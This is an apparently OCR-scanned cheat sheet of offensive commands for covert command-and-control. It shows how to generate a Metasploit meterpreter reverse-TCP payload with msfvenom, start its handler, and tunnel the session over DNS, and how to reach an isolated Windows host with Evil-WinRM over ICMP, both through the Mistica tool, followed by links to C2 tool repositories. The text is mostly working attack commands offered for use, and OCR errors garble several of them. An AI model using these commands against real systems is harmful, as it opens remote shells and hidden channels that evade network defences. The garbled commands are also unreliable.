® Running meterpreter_reverse_tcp (linux) over DNS using port forwarding. Payload generated with msfvenom -p
linux/x64/meterpreter_reverse_tcp LPORT=4444 LHOST=127.0.0.1 -f elf -o
meterpreter_reverse_tcp_localhost_4444.bin

© Run msfconsole on server and launch handler with: handler -p 1linux/x64/meterpreter reverse tcp -H
127.98.0.1 -P 5555

o Mistica Server: sudo ./ms.py -m tcpconnect:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53" -o "
-address 127.0.0.1 --port 5555"

© Mistica Client: ./mc.py -m tcplisten:dns -k "rc4testkey” -w "--hostname x.x.x.x --port 53" -o "--
address 127.0.0.1 --port 4444"

o Run meterpreter on client: ./meterpreter_reverse_tcp_localhost_4444.bin
e EvilWinrm over ICMP using a jumping machine to access an isolated machine.
o Mistica Server: ./ms.py -m tcplisten:icmp -s "--iface eth®" -k "rc4testkey" -o "--address 127.0.0.1 --

port 5555 --persist" -vv

o Mistica Client: python.exe .\mc.py -m tcpconnect:icmp -w "--hostname x.x.x.x" -k "rc4testkey" -o

address x.x.x.x --port 5985 --persist" -vv

o EvilWinrm Console (on C2 machine): evil-winrm -u Administrador -i 127.8.0.1 -P 5555


https://github.com/k8gege/PowerLadon
https://github.com/tcostam/awesome-command-control
https://github.com/IncideDigital/Mistica

